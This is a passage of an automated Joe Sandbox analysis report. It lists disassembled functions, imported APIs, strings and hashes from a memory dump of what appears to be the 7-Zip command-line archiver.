Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ConsoleMode$Handlefflushfputs
String ID: Enter password (will not be echoed):
API String ID: 108775803-3720017889
Opcode ID: 36bd84e05aa982e1fa57c2f2cf585279101811381d58ea0075c40767b01f72a6
Instruction ID: 685de5bff94a846a7fd7c70d12e47bea1447a56d4a7c306682e3c6d3bc401483
Opcode Fuzzy Hash: 36bd84e05aa982e1fa57c2f2cf585279101811381d58ea0075c40767b01f72a6
Instruction Fuzzy Hash: 0F218B32305741C6EA189F659D553696361AB84BB2F185225EE3A4F3E4DB7CC889D340

Function 00151AA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00151ACD
free.MSVCRT ref: 00151B97

Strings

The file is open, xrefs: 00151B60
The archive is open with offset, xrefs: 00151B02
WARNING:, xrefs: 00151AC6
Can not open the file, xrefs: 00151B34

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputsfree
String ID: Can not open the file$The archive is open with offset$The file is open$WARNING:
API String ID: 2581285248-3393983761
Opcode ID: 0c83fb30cb70f6a2b984ecfa0bcc3b2de66b99b3f440bfbea28bcb7ca7027a60
Instruction ID: 6f942cb80f7d4b0d2e4c4756984878a0e578c37adbecd1150f3693a6199c1aec
Opcode Fuzzy Hash: 0c83fb30cb70f6a2b984ecfa0bcc3b2de66b99b3f440bfbea28bcb7ca7027a60
Instruction Fuzzy Hash: 95213E62310A45E5CE25EF25E8503DD6720F7AABE5F484221EE6E47365EF38C69AC700

Function 0015DBA0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 0015DBB4
GetVersionExW.KERNEL32 ref: 0015DBBF
GetModuleHandleW.KERNEL32 ref: 0015DBDE
GetProcAddress.KERNEL32 ref: 0015DBEE

Strings

kernel32.dll, xrefs: 0015DBD7
SetDefaultDllDirectories, xrefs: 0015DBE4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: Version$AddressHandleModuleProc
String ID: SetDefaultDllDirectories$kernel32.dll
API String ID: 2268189529-2102062458
Opcode ID: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
Instruction ID: f2097bf1b5f124c7f2ed154afde147ce2051cd45895794ad5597969b938d1259
Opcode Fuzzy Hash: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
Instruction Fuzzy Hash: 49F05834204A02C2EF309B10F8543EA23A0FBC970AF440228D66E0A2B0EF3CC64ECB01

Function 00147614 Relevance: 10.2, APIs: 8, Instructions: 196COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00147668
free.MSVCRT ref: 00147670
free.MSVCRT ref: 00147882
free.MSVCRT ref: 0014789D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
Instruction ID: 5d1eb2d47945032c943475f9fac525057365c342a2fb3198d58e15bcc527c449
Opcode Fuzzy Hash: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
Instruction Fuzzy Hash: 5C71042321C6C096CA30EB25E4546AEFB75F7DA750FA41112EBDA43BA9CF78C945CB00

Function 0013BB68 Relevance: 10.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0013BBD6
free.MSVCRT ref: 0013BC04

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

free.MSVCRT ref: 0013BC1D
free.MSVCRT ref: 0013BC33
free.MSVCRT ref: 0013BC41
free.MSVCRT ref: 0013BCFA
free.MSVCRT ref: 0013BD0E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
Instruction ID: 2d85dfc21c9dadd845feeea00062bb42aea4e1a73e5f8edb1e8a4ae1c30b2633
Opcode Fuzzy Hash: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
Instruction Fuzzy Hash: 0C41F72220C6C095CF39EF25D4912AD7760D7A2B9CF185111EB9A07799EFB9C5C6C341

Function 00130A58 Relevance: 10.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00130A91
free.MSVCRT ref: 00130A99

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

memmove.MSVCRT ref: 00130AD4
free.MSVCRT ref: 00130ADD
memmove.MSVCRT ref: 00130B19
free.MSVCRT ref: 00130B22
memmove.MSVCRT ref: 00130B5B
free.MSVCRT ref: 00130B64

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: freememmove$ExceptionThrowmalloc
String ID:
API String ID: 1818558235-0
Opcode ID: 198f322d7e3605dd07b0a7db7330dd27ffa8d5d8ef2ff35b5f10ecada0f47089
Instruction ID: 4d9bad8d61d16cf6b48e003d6c4daf40714821cfeed12e792f3076aa47ac4f21
Opcode Fuzzy Hash: 198f322d7e3605dd07b0a7db7330dd27ffa8d5d8ef2ff35b5f10ecada0f47089
Instruction Fuzzy Hash: FA313AB27112948BCB64DF7AE49256DB3E4E758FD87184126DF299B708DB30D8D2CB80

Function 00143162 Relevance: 10.0, APIs: 8, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00143174
free.MSVCRT ref: 0014317E
free.MSVCRT ref: 00143189
free.MSVCRT ref: 00143197
free.MSVCRT ref: 001431C0
free.MSVCRT ref: 001431C9
free.MSVCRT ref: 001431D7
free.MSVCRT ref: 001431E2

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction ID: 72731ef7396c26a34538dacf22faf21c0e93c2d93dcf617153d961a263291045
Opcode Fuzzy Hash: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction Fuzzy Hash: 4DF0302224A59095CA28FF32C4956AE6751FBD7F81F092571EB4E63725CF38C456C704

Function 001430A8 Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001430BA
free.MSVCRT ref: 001430C4
free.MSVCRT ref: 001430CF
free.MSVCRT ref: 001430DD
free.MSVCRT ref: 00143104
free.MSVCRT ref: 0014310D
free.MSVCRT ref: 0014311B
free.MSVCRT ref: 00143126

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction ID: 2b62bca280be50baf187ff3fdb504b1d00dbfdf6f84479aebfa066c925cd78ad
Opcode Fuzzy Hash: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction Fuzzy Hash: 02F0302224A98051CA28FF32C4A56AF6720FBD3F85F091171EB5E23711CF38C496C304

Function 0014324C Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014325E
free.MSVCRT ref: 00143268
free.MSVCRT ref: 00143273
free.MSVCRT ref: 00143281
free.MSVCRT ref: 001432A8
free.MSVCRT ref: 001432B1
free.MSVCRT ref: 001432BF
free.MSVCRT ref: 001432CA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction ID: af905fe9c44fd04a8cd6d078b2c02df40df0e9e128ff2033d63b96f14b1fda92
Opcode Fuzzy Hash: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction Fuzzy Hash: 64F0302228AA8151CA28FF32C895AAF6720FBD3F81F091171EB4E63711CF38C496C704

Function 0014333D Relevance: 10.0, APIs: 8, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014334F
free.MSVCRT ref: 00143359
free.MSVCRT ref: 00143364
free.MSVCRT ref: 00143372
free.MSVCRT ref: 00143399
free.MSVCRT ref: 001433A2
free.MSVCRT ref: 001433B0
free.MSVCRT ref: 001433BB

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction ID: b13139be7d3d8dcb7ccbea13649c225b0bfe1a060cb408b5c088d6cfda2e4b4c
Opcode Fuzzy Hash: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction Fuzzy Hash: 30F0D02224A59095CA28FF32D4A56AE6721FBD7F81F091571EB4E53715CF38C456C704

Function 00142E29 Relevance: 10.0, APIs: 8, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00142E3B
free.MSVCRT ref: 00142E45
free.MSVCRT ref: 00142E50
free.MSVCRT ref: 00142E5E
free.MSVCRT ref: 00142E87
free.MSVCRT ref: 00142E90
free.MSVCRT ref: 00142E9E
free.MSVCRT ref: 00142EA9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
Instruction ID: 449db28fa88b8cbdb3e8cf9200031aef8cbdb8ea3490f4f9ea939d009eca3559
Opcode Fuzzy Hash: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
Instruction Fuzzy Hash: D2F0F42224A59055CA28FF32C4556AF6711FBD7F81F091571EB4E63715CF38C496C704

Function 00142EDB Relevance: 10.0, APIs: 8, Instructions: 38COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00142EE3
free.MSVCRT ref: 00142EED
free.MSVCRT ref: 00142EF8
free.MSVCRT ref: 00142F06
free.MSVCRT ref: 00142F2F
free.MSVCRT ref: 00142F38
free.MSVCRT ref: 00142F46
free.MSVCRT ref: 00142F51

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
Instruction ID: ddbacca73b52e3ab583eac3ce332dc7506a156c94ef934f002e0b537da9eb0d6
Opcode Fuzzy Hash: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
Instruction Fuzzy Hash: 2EF0DA2224698095CA18FF32D4616AF6320FBD7F81F092571EB4E63721DF38C496C709

Function 0015B310 Relevance: 10.0, APIs: 8, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

free.MSVCRT ref: 0015B335
free.MSVCRT ref: 0015B342
free.MSVCRT ref: 0015B34E
free.MSVCRT ref: 0015B358
free.MSVCRT ref: 0015B362
free.MSVCRT ref: 0015B36C
free.MSVCRT ref: 0015B376
free.MSVCRT ref: 0015B380

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$fputsmemset
String ID:
API String ID: 469995913-0
Opcode ID: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction ID: 2c21f90644a6b2e6909473b56e2624c6d6c79b6e5305fa2d497ebf65218c6c31
Opcode Fuzzy Hash: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction Fuzzy Hash: 13F0A922251940A1CB58FF31D8925AD2321E7E3F68B085371EF6D573AACF30C8A6C348

Function 00136484 Relevance: 9.2, APIs: 6, Instructions: 177COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 001364F9
free.MSVCRT ref: 0013659C
free.MSVCRT ref: 00136602
free.MSVCRT ref: 0013660A
memmove.MSVCRT ref: 00136627
free.MSVCRT ref: 001366A6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: c7d24e90d75f8b1a8df411daada06ff9b67f26deec57412286e52ff39d8a267a
Instruction ID: 31d3f1c5b6ecfdffe359ff3a583b0613125048e98eb861fd34fb37654b1f962c
Opcode Fuzzy Hash: c7d24e90d75f8b1a8df411daada06ff9b67f26deec57412286e52ff39d8a267a
Instruction Fuzzy Hash: F951A173201A84A6CF24EF16D4911AD7761F3A4BD8F55C136EBAA4B728DF35C986CB00

Function 00111364 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 172COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00111558

Strings

Unknown switch:, xrefs: 0011142C
Too long switch:, xrefs: 0011159F
Multiple instances for switch:, xrefs: 0011145B
Incorrect switch postfix:, xrefs: 001114F8, 00111584
Too short switch:, xrefs: 0011148A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
API String ID: 1294909896-2104980125
Opcode ID: ed70e3db481bbb30983a976b6095b32a572669940faca3c9e13180f1720175d4
Instruction ID: 4a1b870356697d4580303ecd0c320ac92a8de5ab31b3cf676f83d38b634209dd
Opcode Fuzzy Hash: ed70e3db481bbb30983a976b6095b32a572669940faca3c9e13180f1720175d4
Instruction Fuzzy Hash: 6551D172214A94B6CF78EF24D4406EDB762F392798F849231DB9A47B55EB34C9C6CB00

Function 00120358 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001204EE

Part of subcall function 0011FEC8: _CxxThrowException.MSVCRT ref: 0011FF2F
Part of subcall function 0011FEC8: free.MSVCRT ref: 0011FFAE
Part of subcall function 0011FEC8: _CxxThrowException.MSVCRT ref: 0011FFD1
Part of subcall function 0011FEC8: _CxxThrowException.MSVCRT ref: 0011FFF7
Part of subcall function 0011FEC8: _CxxThrowException.MSVCRT ref: 0012002B

free.MSVCRT ref: 00120523
_CxxThrowException.MSVCRT ref: 00120564

Strings

Incorrect wildcard type marker, xrefs: 0012052A
Too short switch, xrefs: 0012050C, 00120515

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Incorrect wildcard type marker$Too short switch
API String ID: 3129652135-1817034180
Opcode ID: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction ID: 749ae5620c8792367737cf7c14fa287750bf118c365ace29b1cafd16cf4ce5ba
Opcode Fuzzy Hash: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction Fuzzy Hash: 1751D2232086E485CB26EF15F4507EEBB70F399794F558226EF8907B56DB38C596CB00

Function 0014E2F0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014E36E
free.MSVCRT ref: 0014E3C8
free.MSVCRT ref: 0014E44C

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

free.MSVCRT ref: 0014E486
free.MSVCRT ref: 0014E4E4

Strings

#, xrefs: 0014E494

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID: #
API String ID: 1534225298-1885708031
Opcode ID: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction ID: 00ad4cacc9ee172861b5a0ef0b829687156bd0fa20c5894ebe11ad99ce2ebee3
Opcode Fuzzy Hash: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction Fuzzy Hash: 39516326314B8482CB64DF26E49079EB7A1F7D9B94F584221EB9E83765DF3CC849C700

Function 00152688 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 126stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0015273A
strlen.MSVCRT ref: 00152749
memset.MSVCRT ref: 00152767
strlen.MSVCRT ref: 001527EB
memset.MSVCRT ref: 00152811

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

, xrefs: 00152818

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memsetstrlen$fputs
String ID:
API String ID: 2256168112-2735817509
Opcode ID: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
Instruction ID: 9d67cecabf330bf74fe23adef5a811e7623df5977fef0205a787a0634ece5560
Opcode Fuzzy Hash: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
Instruction Fuzzy Hash: 3041E8637047C0D5CB38DB25F4513AE67A1F7A5B88F485526DEAA0B719CF78C589CB00

Function 00119828 Relevance: 9.1, APIs: 6, Instructions: 123COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00119898
free.MSVCRT ref: 001199E7

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorLastfree
String ID:
API String ID: 2167247754-0
Opcode ID: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
Instruction ID: dd06963e353bcbd7ac5309ad2c926c9d6e86a5f5f0f57ce17d3e5d3105f3effe
Opcode Fuzzy Hash: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
Instruction Fuzzy Hash: C041992121864495CA24EB14E4A13EEB360F7E2764F504336EAFD47AD9DF38C9C6C705

Function 00116A04 Relevance: 9.1, APIs: 6, Instructions: 74fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00116A42
MoveFileW.KERNEL32 ref: 00116AA6
free.MSVCRT ref: 00116AB6
free.MSVCRT ref: 00116AC1
free.MSVCRT ref: 00116ACF
free.MSVCRT ref: 00116ADA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$FileMove
String ID:
API String ID: 288606353-0
